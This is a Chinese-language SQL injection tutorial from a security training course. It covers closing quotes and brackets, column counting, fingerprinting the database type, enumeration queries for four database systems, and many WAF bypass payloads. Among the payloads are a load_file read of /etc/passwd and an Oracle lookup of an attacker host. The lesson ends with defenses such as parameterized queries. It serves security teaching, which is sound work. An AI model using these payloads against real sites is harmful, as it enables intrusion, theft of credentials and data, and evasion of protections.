201-A4-SQL注入(下)

在本节中,我们将学习一些SQL注入中绕过网站防御机制的方法。

1. SQL注入的一些细节

当我们远程测试网站是否存在SQL注入,常常需要通过推理来进行大量测试。即看到网页上的执行结果,推理后台数据库是如何操作的。

1.1 可能存在SQL注入的功能点

SQL注入可以出现在任何从系统或接受用户输入的前段应用程序中。

换句话说,每个前端与后端数据库有交互的地方,都有可能存在SQL注入漏洞。

比如最常见的是在搜索和登录功能。但其他与数据库交互的地方也值得注意:如cookie中,XFF中。

1.2 闭合

在存在注入点的网页上,其后端代码可能是如下的几种格式:

$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";
$sql = "SELECT * FROM users WHERE id = ('$id') LIMIT 0,1";

此时我们构造sql语句注入时,则要考虑闭合前面的引号括号。

因为如果注入后,破坏了原有的闭合,那么注入也会失败,所以闭合很重要,决定了最后是否可以注入成功。

如:

$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";

注入 1' or 1=1 --+

$sql = "SELECT * FROM users WHERE id = '1' or 1=1 --+' LIMIT 0,1";

常见的闭合形式:

原代码:
'$id'
"$id"
('$id')
("$id")
(('id'))

闭合代码:
1' #
1" #
1') #
") #
')) #

常见的注释截断方法:

#
/*
-- -
;%00
`

最后,可以用and1=1,or 1=1 等语句确认闭合完成,漏洞存在。

1.3 测试列数

除了前文中提到的 order by 语句以外。

也可以用如下的形式来探测:

http://www.foo.com/index.asp?id=12+union+select+null,null--

不断增加 null 至不返回。

1.4 探测数据库指纹

在此前的实验中,我们都是使用MariaDB作为后端数据库的,其属于mysql系列数据库。

如果后端数据库不同,那么SQL注入的语句也会不同。有几种探测数据库指纹信息:

  1. 第一种方法找出使用后端数据库是通过观察返回的错误应用程序。 以下是一些例子的错误消息:

MySql:

You have an error in your SQL syntax; check the manualthat corresponds to your MySQL server version for theright syntax to use near ''' at line 1

Oracle:

ORA-00933: SQL command not properly ended

MS SQL Server:

Microsoft SQL Native Client error ‘80040e14’Unclosed quotation mark after the character string

PostgreSQL:

Query failed: ERROR: syntax error at or near
  1. 常见网页与数据库的关系。

代码与数据库并不存在绑定关系,以下只能做参考。

asp : Access/SQLServer

php : Mysql

jsp : Oracle

  1. 利用语句探测数据库

一种最可靠的方法是根据数据库连接字符串方式的不同进行识别。

如我们查询字符串farmsec得到了一个结果,可以在请求中提交特殊的值,测试用各种方法连接,以生成farmsec字符串。如过查询结果相同,就可以确定是哪一种数据库。

Oracle:    'farm'||'sec'
MS-SQL:    'farm'+'sec'
MySQL:     'farm' 'sec'
PostgreSQL:'farm' || 'sec'

如果注入数字数据,可以使用下面的攻击语句来识别字符串。

每个语句在其对应的数据库中求值结果为0,在其他数据库中则会报错。

Oracle:    BITAND(1,1)-BITAND(1,1)
MS-SQL:    @@PACK_RECEIVED-@@PACK_RECEIVED
MySQL:     CONNECTION_ID()-CONNECTION_ID()

1.5 各类数据库注入语句

不同的数据库,需要用不同的sql语句注入。

1.5.1 MySQL数据库

释义 SQL语句 其他
当前数据库 SELECT database() -
所有数据库 SELECT schema_name FROM information_schema.schemata #版本>5.0
- SELECT distinct(db) FROM mysql.db #管理员权限才可以执行
查询表名 SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ -
查询列名 SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ -
获取版本 SELECT @@version -
当前用户 SELECT user() -
- SELECT system_user() -
用户权限 SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges #用户权限
- SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges #数据库权限
- SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges #字段的权限
列出DBA账户 SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’ -
选择第N行 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0 #行从0开始编号
- SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1 #行从0开始编号
选择第N个字符 SELECT substr(‘abcd’, 3, 1) #返回c
ASCII值-字符 SELECT char(65) #返回A
字符-ASCII值 SELECT ascii(‘A’) #返回65
字符串连接 SELECT CONCAT(‘A’,‘B’) #返回AB
- SELECT CONCAT(‘A’,‘B’,‘C’) #返回ABC
时间睡眠 SELECT BENCHMARK(1000000,MD5(‘A’)) -
- SELECT SLEEP(5) #版本>= 5.0.12

1.5.2 Oracle数据库

释义 SQL语句 其他
当前数据库 SELECT global_name FROM global_name
- SELECT name FROM v$database
- SELECT instance_name FROM v$instance
- SELECT SYS.DATABASE_NAME FROM DUAL
所有数据库 SELECT DISTINCT owner FROM all_tables
查询表名 SELECT table_name FROM all_tables
- SELECT owner, table_name FROM all_tables
查询列名 SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’
- SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’
获取版本 SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’
- SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’
- SELECT version FROM v$instance
当前用户 SELECT user FROM dual
用户权限 SELECT * FROM session_privs #当前权限
- SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’ #列出用户的权限
列出DBA账户 SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’
选择第N行 SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9 #第九行
选择第N个字符 SELECT substr(‘abcd’, 3, 1) FROM dual #第3个字符c
ASCII值-字符 SELECT chr(65) FROM dual #返回A
字符-ASCII值 SELECT ascii(‘A’) FROM dual #返回65
字符串连接 SELECT ‘A’ \ ‘B’ FROM dual #返回AB
时间睡眠 SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) FROM dual #如果反向查询很慢
- SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual #如果正向查询很慢

1.5.3 MSSQL数据库

释义 SQL语句 其他
当前数据库 SELECT DB_NAME() -
所有数据库 SELECT name FROM master…sysdatabases -
- SELECT DB_NAME(N) #N为0,1,2,…
查询表名 SELECT name FROM master…sysobjects WHERE xtype = ‘U’ -
- SELECT name FROM someotherdb…sysobjects WHERE xtype = ‘U’ -
查询列名 SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’) #当前数据库
- SELECT master…syscolumns.name, TYPE_NAME(master…syscolumns.xtype) FROM master…syscolumns, master…sysobjects WHERE master…syscolumns.id=master…sysobjects.id AND master…sysobjects.name=‘sometable’ #列出master…sometable的列名称
获取版本 SELECT @@version -
当前用户 SELECT user_name() -
- SELECT system_user -
- SELECT user -
用户权限 SELECT permission_name FROM master…fn_my_permissions(null,‘DATABASE’) #当前数据库权限
- SELECT is_srvrolemember(‘sysadmin’) #当前用户权限
列出DBA账户 SELECT is_srvrolemember(‘sysadmin’) #当前用户是否是管理员,是则返回1
选择第N行 SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master…syslogins ORDER BY name ASC) sq ORDER BY name DESC #返回第九行
选择第N个字符 SELECT substring(‘abcd’, 3, 1) #返回c
ASCII值-字符 SELECT char(0×41) #返回A
字符-ASCII值 SELECT ascii(‘A’) #返回65
字符串连接 SELECT ‘A’ + ‘B’ #返回AB
时间睡眠 WAITFOR DELAY ‘0:0:5’ #睡眠5秒

1.5.4 PostgreSQL数据库

释义 SQL语句 其他
当前数据库 SELECT current_database() -
所有数据库 SELECT datname FROM pg_database -
查询表名 SELECT relname, A.attname FROM pg_class C, pg_namespace N,pg_attribute A, pg_type T WHERE (C.relkind=‘r’) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) -
查询列名 SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,") AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) -
获取版本 SELECT version() -
当前用户 SELECT user; -
- SELECT current_user; -
- SELECT session_user; -
- SELECT usename FROM pg_user; -
- SELECT getpgusername(); -
用户权限 SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user -
列出DBA账户 SELECT usename FROM pg_user WHERE usesuper IS TRUE -
选择第N行 SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0 #从0行开始编号
- SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1; -
选择第N个字符 SELECT substr(‘abcd’, 3, 1) #返回c
ASCII值-字符 SELECT chr(65) #返回A
字符-ASCII值 SELECT ascii(‘A’) #返回65
字符串连接 SELECT ‘A’ \ ‘B’ #返回AB
时间睡眠 SELECT pg_sleep(10) #睡眠10秒
- SELECT sleep(10) #创建自定义睡眠

2.绕过网站防御机制思路

绝大部分的网站防御机制,无论是过滤、转义或是商业waf,都是基于某种正则表达式的规则匹配而运作的。也就是说,攻击者的行为一旦匹配了某种正则表达式所预料到的特征,就可能被拦截。而绕过防御机制则是,将简单的攻击语句复杂化,使其出乎编写防御程序者的意料,同时确保被复杂化的攻击语句保持原有的功效。下面将介绍几种常见的绕过思路:

2.1 大小写绕过

一般来说,只要网站考虑了防御机制,现在的设计者是不会忘记注意大小写的。但我们还是把绕过思路从简单到复杂的讲述出来,大小写绕过是最简单的一种绕过方法,它成功的前提是网站防御规则中只匹配了字母小写的攻击语句特征。如select可能会被规则发现,SeLeCt则不会。

fsec.com/index.php?page_id=1' and 1=2 uNIoN sELecT 1,2,3,4#

2.2 双写绕过

在某些网站,会对用户提交的一段字符进行匹配,对其认为危险的字符删除,同时放过余下其认为安全的字符。

例如,用户输入1' and 1=2 union select 1,2,3,4#,经过网站的过滤机制,服务器实际接收到的则是1' and 1=2 1,2,3,4#

此时可以双写绕过:

fsec.com/index.php?page_id=1' UNIunionON SELselectECT 1,2,3,4#

经过网站过滤机制,UNIunionON SELselectECT实际变成了UNION SELECT。但要注意,这只适用于网站防御机制只匹配一次、过滤一次的情况。如果网站正则具有循环匹配,循环过滤直至匹配不到的机制,那么这种绕过方法就不再适用了。

2.3 编码绕过

如果网站防御机制未考虑过各类编码情况,那么将攻击语句编码后再发送也是一种很好的方法。

2.3.1 URL编码

通常来说,在浏览器输入URL时,浏览器会对一些字符进行URL 编码如,空格变为%20、单引号%27、左括号%28、右括号%29。而服务器收到后会对其进行解码。如果网站具备防御机制,则会对解码后的内容进行规则匹配。然而一些程序在执行了过滤之后还会执行一次不必要的解码,

比如我们输入带有url编码的字符串:

1%2527%20and%201%253d1%23,这条字符在会被解码为:1%27 and 1%3d1#,其中没有'=,假设这样就不会触发某些防御规则,然而当waf放过这串字符后,网站程序又会执行一次不必要的解码,再次解码后文本变成如此:1' and 1=1#,这一条将被数据库执行。

2.3.2 十六进制编码

主要用于where语句后的引号问题,如:

1' and 1=2 union select 1,table_name from information_schema.tables where table_schema= 'dvwa'#
1' and 1=2 union select 1,table_name from information_schema.tables where table_schema= 0x64767761#

image-20220326093657623

image-20220326093749590

1 and 1=2 union select 1,load_file('/etc/passwd');#
1 and 1=2 union select 1,load_file(0x2F6574632F706173737764);#

image-20220329110708772

==2.3.3 char()函数==

2.4 注释绕过

2.4.1 注释绕过针对空格的过滤

1' and 1=2 union/**/select 1,2 #

image-20220330095327714

image-20220330095245054

image-20220330100241961

2.4.2 内联注入

/*![数据库版本][数据库函数]*/,和注释/**/的区别是多了一个感叹号,可选的数据库版本号。

这种注释在mysql中叫做内联注释,当实际的版本等于或是高于写入的[数据库版本],应用程序就会将注释内容解释为SQL命令,否则就会当做注释来处理。默认情况下,不添加数据库版本也会当做SQL命令来执行。

内联注释可以用来包裹数据库关键字和非关键字。

1' and 1=2 /*!UNION*/ /*!SELECT*/ 1,2#
1'/*asdw*/and/**/1=2/**//*!50000UNION*//*abcd*//*!50000SELECT*//**/1,2#

image-20220330103816362

image-20220330104030637

2.5 等价语句替换

在有些函数或命令因其关键字被检测出来而无法使用的情况下,我们可以考虑使用与之等价或类似的代码替代其使用。

sleep() 与 benchmark()
concat_ws() 与 group_concat()
mid()=substr()=substring()

sleep()与benchmark()

mysql中可用BENCHMARK(50000000,MD5(‘A’))产生延迟,执行MD5()50000000次,产生的延迟时间和服务器性能有关。

image-20220330115324208

concat_ws() 与 group_concat()

concat(str1,str2,…) //没有分隔符得连接字符串,
concat_ws(separator,str1,str2,…) //含有分隔符得连接字符串
group_concat(str1,str2,…) //连接一个组的所有字符串,并以逗号分割每条数据

image-20220330153102208

image-20220330153409685

image-20220330160344693

2.6 常见过滤字符及绕过

当空格被过滤后,可通过以下方法绕过:

注释代替空格
select * from tb1 where name='asd';
等价:
select/**/*/**/from/**/tb1/**/where/**/name='asd';

括号代替空格
mysql中可用()来代替空格。可以用括号包裹非数据库关键字
select name from tb1 where name ='asd';
等价:
select(name)from(tb1)where(name)=('asd');

引号代替空格
mysql中可用单引号或双引号来代替空格。
select name from tb1 where name ='asd' and 1=1;
等价:
select name from tb1 where name ='asd'and'1'='1';

特殊字符代替空格
如下特殊字符可代替空格:
%09    水平定位符号%0a    换行符%0c    换页符%0d    回车%0b    垂直定位符号

用Tab代替空格

过滤union\select

绕过示例:过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'
十六进制字符绕过select ——> selec\x74union——>unio\x6e
大小写绕过SelEct
双写绕过selselectectuniunionon
urlencode,ascii(char),hex,unicode编码绕过关键字
内联绕所有/*!union*//*!select*/

过滤引号

可通过注释、括号、内联注释代替引号。
字符串可写作0x十六进制。
select * from tb1 where name='asd';
等价
select * from tb1 where name=0x617364;

过滤=

?id=1' or 1 like 1#可以绕过对 = > 等过滤
or '1' IN ('1234')#可以替代=

过滤逗号

在使用mid,substr,substring函数的时候,如果逗号被过滤,可以通过from x for y代替。
select mid(user(),1,2);                #从第一个字符开始截取2个
等价
select mid(user() from 1 for 2);    #从第一个字符开始截取2个

过滤注释符

测试中通常需要通过注释符屏蔽后面的语句,否则容易报错,但注释符被过滤了。
例如:select * from tb1 where id=$_GET[‘id’] limit 1; //limit1是我们想要屏蔽的语句。
1.通过;结束语句,如果系统不支持堆查询注入,那么后面语句不会执行,或者执行了也能屏蔽错误。
select * from tb1 where id=1; limit 1;
2.整数型注入不受影响
select * from tb1 where id=1 or 1=1 limit 1;
3.字符型注入,传入的参数前后被加上了引号,select * from tb1 where id='$_GET['id']' limit 1; 
这时候可以传入1' or '1'='1  ,再拼接上引号后就能完整。
select * from tb1 where id='1' or '1'='1' limit 1;

过滤where

逻辑绕过过滤代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'

过滤limit

逻辑绕过过滤代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin

过滤group by

逻辑绕过过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

过滤select

逻辑绕过过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
绕过方式 1 && substr(user,1,1) = 'a'

过滤hex

逻辑绕过过滤代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

过滤substr

逻辑绕过过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16)) 
绕过方式 1 && lpad(user(),1,1) in 'r'

过滤and,or

#等价关键字,在很多时候,当关键字被过滤后,可通过与其等价的其他关键字来绕过。
等价and
假如:select * from tb1 where id=1 and 1=1
此时和and等价关键字有:like(1 like 1。like可跟通配符。),rlike(1 rlike 1 rlike可跟正则表达式。),regexp(1 regexp 1 regexp可跟正则表达式。),&(1 && 1 ,逻辑与),&&(1 & 1,按位与,任意数&0的值为0),与and的结果都是1.

等价or
假如:select * from tb1 where id=1 or 1=1;
此时等价or的关键字有:||    (逻辑或),|    (按位或),任意数|0的值为任意数

3.sql注入的防御方法

3.1 过滤

可以对用户提交的敏感字符进行过滤和拦截。

3.2 转义

可以对用户提交的敏感字符进行转义。

3.3 参数化查询

参数化查询也叫做预处理,它分两个步骤处理用户的输入。

  • 网站应用程序指定了查询语句结构,并为用户输入的每个数据预留了占位符。
  • 网站应用程序指定每个占位符的内容。

在第二个步骤中,用户输入被填入占位符,但不会改变第一个步骤中预设好的查询语句结构。这样,网站应用程序就不会将用户输入判断为sql语句执行了,而会把用户的输入当做一个整体去查询。

3.4 加密存储

对重要数据,不在表单中明文存储,而选择加密存储。

3.5 限制数据库权限和特权

将数据库用户的功能设置为最低要求;这将限制攻击者在设法获取访问权限时可以执行的操作。

Copyright © fsec.io 2022 all right reserved,powered by farmsec该文件修订时间: 2022-08-22 15:39:49

results matching ""

    No results matching ""